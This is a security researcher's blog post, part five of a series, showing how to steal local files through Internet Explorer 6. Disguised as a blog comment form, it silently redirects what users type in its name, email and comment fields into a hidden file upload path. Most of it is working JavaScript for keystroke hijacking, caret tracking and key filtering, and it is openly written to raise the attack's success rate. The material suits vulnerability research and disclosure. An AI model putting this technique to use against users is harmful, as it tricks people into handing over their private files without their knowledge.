File Stealing in Internet Explorer 6 - Part 5
This is part five in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. Prior posts build upon each other: part one, part two, part three, and part four.
The fifth demonstration marks the move to a more plausible layout. The layout mimics that of many common blog comment sections. This is an area where normal users could be expected to enter a reasonable amount of text including special characters. Although not shown in these demonstrations, the addition of a CAPTCHA could be used to further improve the attack.
In prior demonstrations, only a single textarea was used. This allowed for hard-coding of the events and handling of the cursor and selections. By adding more controls, the hard-coding approach is no longer feasible. Instead, a list of controls is constructed and a global current_obj variable is used to track the currently active control:
var controls = new Array();
var current_obj = null;
var offsets = new Object();
The controls to hook are registered:
register_control(document.getElementById("user_name"));
register_control(document.getElementById("email_address"));
register_control(document.getElementById("website"));
register_control(document.getElementById("text1"));
The control registration function associates a generic event handler with the control:
function register_control(control) {
control.value = "";
control.attachEvent("onkeyup", dispatch_text_event);
control.attachEvent("onkeydown", dispatch_text_event);
control.attachEvent("onmousedown", dispatch_text_event);
control.attachEvent("onmouseup", dispatch_text_event);
control.attachEvent("onfocus", dispatch_text_event);
controls.push(control);
offsets[control.id] = -1;
}
The dispatch_text_event event handler is responsible for determining the appropriate action to take when an event is raised:
function dispatch_text_event() {
switch (event.type) {
case "keydown":
text_keydown(event, event.srcElement);
break;
case "keyup":
case "mousedown":
case "mouseup":
case "focus":
current_obj = event.srcElement;
snapshot();
break;
default:
window.status = "UNHANDLED: " + event.type + "(" + event.srcElement.id + ")";
}
}
For keydown events, the event will be handled by the text_keydown function. But for all other events, the current_obj is set to the source of the event and the snapshot function is used to record the current cursor position and document selection.
The snapshot function has been updated to handle both textarea elements and text input elements:
function snapshot() {
start_pos = 0;
end_pos = 0;
if (document.selection){
var range = document.selection.createRange();
if (null != range) {
var stored_range = range.duplicate();
if (null != stored_range) {
if ("TEXTAREA" == current_obj.tagName) {
// from
// http://www.bazon.net/mishoo/articles.epl?art_id=1292
var cv = current_obj.value;
var caret_pos = get_caret_pos(current_obj, range);
for (var i = 0; i < caret_pos; ++i) {
if ("\r" == cv.charAt(i)) {
++caret_pos;
}
}
start_pos = caret_pos;
end_pos = start_pos + range.text.length;
} else {
// from http://the-stickman.com/web-development/javascript/finding-selection-cursor-position-in-a-textarea-in-internet-explorer/
stored_range.expand('textedit');
stored_range.setEndPoint('EndToEnd', range);
start_pos = stored_range.text.length - range.text.length;
end_pos = start_pos + range.text.length;
}
}
}
}
}
Several important changes have been made to fully support textareas. First, "The Right, undocumented solution" is used to determine the caret position within the textarea. An improvement to this method is made by dynamically determining the offset within the bookmark data. The get_caret_pos function is responsible for this:
function get_caret_pos(obj, range) {
var offset = offsets[obj.id];
if (offset < 0) {
var r = obj.createTextRange();
if (null != r) {
r.move("character", 0);
offset = offsets[obj.id] = Math.floor(r.getBookmark().charCodeAt(2));
}
}
var bookmark = range.getBookmark();
var cc = bookmark.charCodeAt(2);
return Math.floor(cc) - offset;
}
The second important change for the textarea is to track the number of carriage-return ("\r") characters that appear and adjust the position accordingly. After a keystroke is re-directed from a textarea, the cursor can always be reset to the exact position.
For text input elements, the same basic approach from prior demonstrations can be used. Since there are no carriage-returns to be concerned with, the text range method is sufficient. A slight change is required though. Note that:
stored_range.moveToElementText(text1);
is changed to:
stored_range.expand('textedit');
Additional keystroke restrictions are added to the file input element. These are meant to provide protection against inadvertent user input or interaction with the file input. By intercepting any mouse clicks or keydown events in the file input field, undesired actions can be avoided. For instance, if the user was able to tab into the file input field and then execute a backspace or delete keystroke, already captured data would be lost. The file_click and file_keydown event handlers:
function file_click(e) {
if (null != current_obj) {
current_obj.focus();
}
return false;
}
function file_keydown(e) {
var kc = e.keyCode;
var redirect_key = false;
switch (kc) {
case 8: // backspace
break;
case 9: // tab
break;
case 13: // return
break;
case 16: // shift
redirect_key = true;
break;
case 17: // ctrl
break;
case 18: // alt
break;
case 19: //pause
break;
case 20: // caps lock
break;
case 27: // escape
break;
case 33: // page up
break;
case 34: // page down
break;
case 35: // end
break;
case 36: // home
break;
case 37: // left arrow
break;
case 38: // up arrow
break;
case 39: // right arrow
break;
case 40: // down arrow
break;
case 44: // print screen
break;
case 45: // insert
break;
case 46: // delete
break;
case 91: // left windows
case 92: // right windows
case 93: // right menu
break;
case 112: // f1 .. f22
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
case 123:
case 124:
case 125:
case 126:
case 127:
case 128:
case 129:
case 130:
case 131:
case 132:
case 133:
case 134:
case 135:
break;
case 144: // num lock
break;
case 145: // scroll lock
break;
case 224: // meta
break
default:
redirect_key = !e.ctrlKey && !e.metaKey;
if (0 == kc && !e.shiftKey) {
redirect_key = false;
}
}
return redirect_key;
}
The remaining changes simple reference the current_obj in place of the hard-coded textarea. In doing so, any text entered in any of the input controls can be used to complete the desired file path.
By slightly modifying the approach to support multiple text input and textarea elements, the effectiveness of the attack is greatly increased. A file stealing attack has a much higher chance of success when it is combined with a familiar user interface and could be seamlessly integrated into existing content with a minimal amount of effort.